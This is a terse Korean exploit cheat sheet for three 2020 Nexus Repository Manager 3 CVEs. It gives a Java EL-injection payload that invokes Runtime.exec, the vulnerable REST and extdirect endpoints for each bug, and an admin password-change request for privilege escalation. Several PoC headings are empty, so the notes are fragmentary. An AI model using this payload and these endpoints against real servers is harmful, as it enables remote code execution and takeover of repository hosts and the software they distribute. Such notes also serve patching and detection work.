Nexus Repository Manager 3 Vuln (영향 버전: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199 원격 코드 명령 실행

응답 PoC

응답 없는 PoC

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

일반 사용자 권한

/service/rest/beta/repositories/go/group

관리자 권한 필요

1. CleanupPolicy 생성

/service/extdirect

2. repositories 생성

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204 원격 코드 명령 실행

1. 사용자 업데이트 인터페이스 활용 /service/extdirect
2. 역할 생성 인터페이스 활용 /service/extdirect

CVE-2020-11444 권한 상승 취약점

role 업데이트 인터페이스 호출

/service/rest/beta/security/users/admin/change-password

POST:
123456

참고 링크

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus